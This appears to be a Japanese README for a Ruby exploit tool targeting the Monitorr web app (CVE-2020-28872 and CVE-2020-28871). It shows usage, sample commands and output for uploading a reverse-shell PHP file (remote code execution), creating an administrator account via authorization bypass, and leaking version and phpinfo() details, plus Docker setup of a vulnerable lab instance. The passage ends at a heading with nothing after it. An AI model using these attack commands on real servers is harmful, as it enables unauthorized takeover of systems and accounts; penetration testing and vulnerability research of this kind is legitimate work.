
Monitorr 用の複数のエクスプロイト
エクスプロイト対象: CVE-2020-28872 および CVE-2020-28871。
$ ruby exploit.rb -h
Monitorr-Exploit
Usage:
exploit.rb upload <url> <file> [--debug]
exploit.rb create <url> <user> <pass> <email> [--debug]
exploit.rb version <url> [--debug]
exploit.rb phpinfo <url> [--debug]
exploit.rb -h | --help
upload: Upload a file (RCE via unrestricted file upload)
version: Try to fetch Monitorr version
phpinfo: Extract main phpinfo() information (Information leakage)
create: Create an administrator account (Authorization bypass)
Options:
<url> Root URL (base path) including HTTP scheme, port and root folder
<file> File to be uploaded
--debug Display arguments
-h, --help Show this screen
Examples:
exploit.rb upload http://example.org revshell.php
exploit.rb create https://example.org:8080/monitorr/ noraj password '[email protected]'
exploit.rb version https://example.org:7000/
リバースシェルをアップロード:
$ ruby exploit.rb upload http://localhost:7000/ shell.php
[+] File uploaded:
http://localhost:7000//assets/data/usrimg/shell.php
管理者アカウントの作成:
$ ruby exploit.rb create http://localhost:7000/ noraj20 password '[email protected]'
[+] User created
Username: noraj20
Email: [email protected]
Password: password
Monitorr バージョンの取得:
$ ruby exploit.rb version http://localhost:7000/
1.7.6m
phpinfp() を取得:
$ ruby exploit.rb phpinfo http://localhost:7000/
System: Linux f0ded2053dda 5.12.12-zen1-1-zen #1 ZEN SMP PREEMPT Fri, 18 Jun 2021 21:59:24 +0000 x86_64
PHP version: 7.1.17
disable_functions: no value</i>
open_basedir: no value</i>
Full phpinfo() location: http://localhost:7000//assets/php/phpinfo.php
gem を使用する例:
bundle install
# or
gem install httpx docopt
警告: もちろん、この構成は本番利用には適していません。
$ sudo docker-compose up
http://127.0.0.1:7000/monitorr/settings.php でアプリをセットアップ/初期化してください。
これは、EDB-48981(CVE-2020-28872)と EDB-48980(CVE-2020-28871)をより良く書き直し、融合したもので、追加機能も備えています。
アップロードおよび管理者アカウント作成の脆弱性は、Lyhin's Lab によって発見されました。phpinfo と Monitorr バージョンの漏えいは、Alexandre ZANNI aka noraj によって発見されました。
元のエクスプロイトと脆弱性の分析: